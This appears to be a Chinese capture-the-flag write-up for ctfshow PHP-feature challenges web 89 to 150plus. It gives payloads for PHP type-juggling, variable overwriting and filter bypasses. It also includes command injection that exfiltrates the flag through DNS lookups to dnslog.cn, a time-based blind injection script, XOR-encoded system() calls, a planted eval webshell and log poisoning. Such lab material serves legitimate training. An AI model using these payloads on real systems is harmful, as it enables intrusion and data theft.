ctfshow php特性 web 89~150plus

web 89

这题主要利用 preg_match 无法处理数组,intval 处理数组有值返回。

在这里插入图片描述

?num[]=1

web 90

通过 intval 简介可知可以用编码绕过
在这里插入图片描述


?num=0x117c      //4476的十六进制为117c

web 91

正则中的修饰符中 i 是匹配大小写,m 是匹配多行。
第一个正则是 im,第二个正则是 i ,且换行可用url编码表示 %0a 。
所以payload:


?cmd=%0aphp

web 92

num=0x117c

intval($num,$base=0)
//当base为0时,会自动检测num的进制
//例如:0x117c(16进制) == 4476(十进制)  == 010574(8进制)

web 93

num=010574

web 94

?num=4476.0
使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

web 95

intval函数的发现最开头可以如果是+还是可以识别为原数
Payload:?num=+010574

web 96

u=./flag.php

web 97

a[]=1&a[]=2

web 98

$_GET?$_GET=&$_POST:'flag';
//三目运算符,&引用运算符
//当get传参时,引用post值

HTTP_FLAG=flag

web 99

in_array(search,array,type)
in_array($_GET[‘n’], $allow)
//函数搜索数组中是否存在指定的值。
//search 必需。规定要在数组搜索的值。
//array 必需。规定要搜索的数组。
//type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
//没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1

<?php

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
$b = in_array('6a.php', $allow);
if($b){
    echo $b;
}
?>

只要in_array($num, $allow);中$num开头是数字就转换为一
在这里插入图片描述

web 100

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
//v1=1即可因为=比and优先级大

?v1=1&v2=var_dump($ctfshow)&v3=;

web 101

v1=1&v2=echo new Reflectionclass&v3=;
//反射类,类似于序列化
拿到flag后还差一位可以手动爆破,一个个试,我的最后为6

web 102

在这里插入图片描述
在PHP5中is_numeric会认为十六进制,并返回true
而php7中就不行了,但还可以用科学计数法
在这里插入图片描述
先分析一下,我们可以通过file_put_contents把flag写到我们定义的一个文件里
所以v3=1.php,str要为flag值,所以call_user_func要通过一句话木马来得到flag,
并且is_numeric也要通过,我们可以使v1=hex2bin,所以可以使得v3为php://filter/write=convert.base64-decode/resource=1.php,v2传一个一句话木马经过base64和十六进制后,里面有字符e,这样就会被认为是科学计数法

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin

web 103

同上

web 104

两个值相同
或者加密后是0e…因为0的n次方还是0

web 105

本题有很多中不同的解,但原理相同,都是变量覆盖
第一种:
利用点
在这里插入图片描述
get:a=flag
post:error=a
最后:die($error=$a=$flag)

第二种:
在这里插入图片描述
这种要过
在这里插入图片描述

get:suces=flag
post:flag=

使得flag为空所以就能使得post['flag']=''$flag=''
所以!($_POST['flag']==$flag)0
又因为suces在flag为空前就以经把值赋给suces
所以die($suces)能输出flag

web 106

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
//加密后是0e......因为0的n次方还是0

web 107

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";//Bill
echo $age;//60
?>
 parse_str
把查询字符串解析到变量中:

?v3[]=0
v1=v2['flag']=0
或
get:?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b

或
GET: ?v3=240610708 POST: v1=flag=0
第三种原理
parse_str(string,array):
如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
也就是说因为$v2为数组,此时parse_str("flag=xxx",$v2)会把flag存储到$v2数组键名为flag中去。

web 108

?c=a%00778

strrev() 函数
反转字符串 “I love Shanghai!”:!iahgnahS evol l

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

web 109

v1=Reflectionclass&v2=system(‘cat fl36dg.txt’)
Reflectionclass反射类,类似于序列化,不过这个能动态的反射类,序列化则不能

v1=Exception&v2=system(ls)
Exception(phpinfo)
会报错,并打印phpinfo页面,因为它将异常对象转换为字符串过程中没有任何转码,
直接执行输出

v1=1&v2=echo new Reflectionclass&v3=;
//反射类,类似于序列化,但这个可以动态执行

web 110

v1=FilesystemIterator&v2=getcwd

web 111

v1=ctfshow&v2=GLOBALS
最后是用var_dump而不是echo,可以使用数组输出的,所以这里可以让$ctfshow=&$GLOBALS

web 112

is_file可以通过包装器伪协议绕过

highlight_file($file);
支持伪协议

file=php://filter/resource=flag.php
file=php://filter/convert.UCS-2LE.UCS-2BE/resource=flag.php
file=compress.zlib://flag.php

web 113

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/
proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/
proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

file=compress.zlib://flag.php

web 114

 php://filter/resource=flag.php

web 115

num=%0C36

$num!==‘36’
不全等于

$num==‘36’
弱等于

web 123

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
如果变量名中有不合法字符转换伪下划线,但只转换第一个不合法的字符

web 125

CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me

?1=flag.php
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web 126

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

parse_str()给变量赋值,在这里是给数组a的第2个赋值,
且数组是以空格来划分,这里就用+来代替空格,
可以实现把变量fl0g值覆盖为flag_give_me

or

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web 127

?ctf show=ilove36d
如果变量名中有不合法字符转换伪下划线,但只转换第一个不合法的字符

web 128

?f1=_&f2=get_defined_vars

_()==gettext(),可以输出一个字符串,它本来是用来使得语言替换,比如中文,替换成英文,但要提前在配置里配好对应的翻译,如果没有的话,直接输出字符串。

get_defined_vars返回由所有已定义变量所组成的数组

web 129

f=/ctfshow/…/…/…/…/…/var/www/html/flag.php

web 130

f=ctfshow
匹配ctfshow前面的字符,且ctfshow前面至少要有0或一个字符。

f[]=ctfshow
preg_match()
//无法处理数组

web 131

原理:在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

<?php
echo str_repeat('very', '250000').'36Dctfshow';

web 132

扫波目录
发现:/robots.txt
在这里插入图片描述
访问 /admin 得到源码,对于 x&&y 如果x为 false 则直接跳过,对于 x||y ,x和y只要有一个为 true就行了。

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

所以 && 判断false不要仅 ,只要 x||y 里有一个为真就行了,对于这题来说,就是 username==admin。

/admin?username=admin&password=1&code=admin

web 133

?F=`$F`; ping `cat flag.php | grep ctfshow`.iuyc6f.dnslog.cn ​-c 1
eval(substr($F,0,6));

substr($F,0,6)=`$F`; 

eval(``$F`; ping `cat flag.php | grep ctfshow`.iuyc6f.dnslog.cn ​-c 1);
执行时前面没有命令为空,接着执行下一条命令

web 134

parse_str($_SERVER[‘QUERY_STRING’]);
$_SERVER[‘QUERY_STRING’]获取get变量
parse_str可变量赋值

extract($_POST);变量覆盖

?_POST[key1]=36d&_POST[key2]=36d

web 135

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"/"{"/"-"`.d2e3a0.dnslog.cn

这题和第133题有点不同,要进一步正则,不然内容太多带不出来。
awk NR一排一排的获得数据

web 136

exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

?c=ls /|tee 1
?c=cat /f149_15_h3r3|tee 2
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
这边是把ls查到的目录内容带入到tee命令中。

web 137

ctfshow=ctfshow::getFlag
// ::访问无参的静态方法

web 138

原理:
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0

ctfshow[]=ctfshow&ctfshow[]=getFlag

web 139

import requests
import time
import string
str=string.ascii_letters+string.digits+"_-"
result=""
for i in range(1,5):
    key = 0
    for j in range(21,50):
        for n in str:
            time.sleep(0.1)
            payload="if [ `cat /f149_15_h3r3|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 4;fi".format(i,j,n)
            #if...fi是shell语言fi可以看成闭合
            #cat /f149_15_h3r3拿flag,当然这边第一步因该是读目录,ls / -1(显示目录且每行只显示一个)
            #awk 'NR=={0}'显示哪一行
            #cut -c {1}显示第几个字符
            #这句话的意思是,如果某行的第n个字符等于某个字母,则延时四秒这样就达到了盲注的效果。
            url = "http://83612058-9ca5-423b-93f6-f7ee99092710.challenge.ctf.show/?c="+payload
            try:
                req = requests.get(url, timeout=3)
            except:
                result=result+n
                print(result)
                break

    result+=" "

web 140

f1=intval&f2=intval
//返回值为空
f1=usleep&f2=usleep

web 141

<?php
$cmd = "tac flag.php";
$s = "";
$k = "";
for($i=0; $i<strlen($cmd); $i++){
    for($j=128; $j<256; $j++){//ascii值128~255
        
        if((255^$j) == ord($cmd[$i])){
            $s .= "%".dechex($j);
            $k .= "%ff";
        }
    }
}
$payload .= $k."^".$s;
echo $payload;
?>

因为1+1+phpinfo()也能运行,所以根据这个构造payload
用异或主要是为了绕过return,用来异或那么就可以return %…%…,然后到eval的时候执行异或,得到shell

构造一个payload

?v1=1&v2=1&v3=-(system)(ls)-
这边减号代替了空格
system和ls要用异或表达出来

?v1=1&v2=1&v3=-(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)-

web 142

sleep(0)
网页延迟0秒
?v1=0

web 143

*也可以当作分隔符

?v1=1&v2=1&v3=*(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)*

web 144

?v1=1&v2=(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f);&v3=-

web 145

可以用141的脚本%ff异或相当于取反了。也可以用下面这个

<?php

$cmd = "system";
$s = "";
for($i=0; $i<strlen($cmd); $i++){
	for($j=128; $j<256; $j++){
		if( (~chr($j)) == $cmd[$i] ){
			$s .= "%".dechex($j);
		}
	}
}
echo $s;

?>
?v1=1&v2=1&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f):

三元运算符 ? :

web 146

?v1=1&v2=1&v3=| (~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f) |

|位运算符

web 147

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

GET ?show=;};system('grep flag flag.php');/*
POSOT ctf=%5ccreate_function

create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数

web 148

可以用异或虽然题目中过滤了%但是我们的这个在传进去时会经过url编码,是不可见字符,只有在eval处才会异或

(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f);

web 149

这题目把除了index.php的其他文件都删了,那么我们直接把一句话木马写进index.php就行了。

?ctf=index.php
show=<?php eval($_POST[1]);?>
/index.php
1=system('ls');

web 150

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){//创建对象时调用
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){//对象销毁时调用
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;//三目运算
        }
    }

    function __autoload($class){
        //__autoload尝试加载未定义的类
        //我们创建了一个类的对象,如果 PHP 引擎没有找到脚本中包含的类文件,那么 __autoload() 魔术方法将自动触发。
        if(isset($class)){
            $class();
    }
}

#过滤字符__autoload
$key = $_SERVER['QUERY_STRING'];
//例如:http://localhost/aaa/index.php?p=222&q=333
//$_SERVER['QUERY_STRING'] = "p=222&q=333";
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);//可以变量覆盖
if(class_exists($__CTFSHOW__)){
    //判断类是否已定义
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

00x1:日志包含

漏洞点:

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

只要isVIP变量存在且ctf中没有:则包含ctf变量,注意这里没有任何过滤。
而isVIP可以通过extract($_GET)来变量覆盖。

步骤:

  1. 先上传一个一句话木马到日志里。
    在这里插入图片描述

  2. 包含日志,然后rce(这里的服务器类型可以通过响应头来看)
    在这里插入图片描述

    在这里插入图片描述

00x2:PHP_SESSION_UPLOAD_PROGRESS

本题的条件竞争不知道为什么成功不了,如果有大佬成功了,望告知 😃

web 150_plus

?..CTFSHOW…=phpinfo
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo

flag在phpinfo中

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值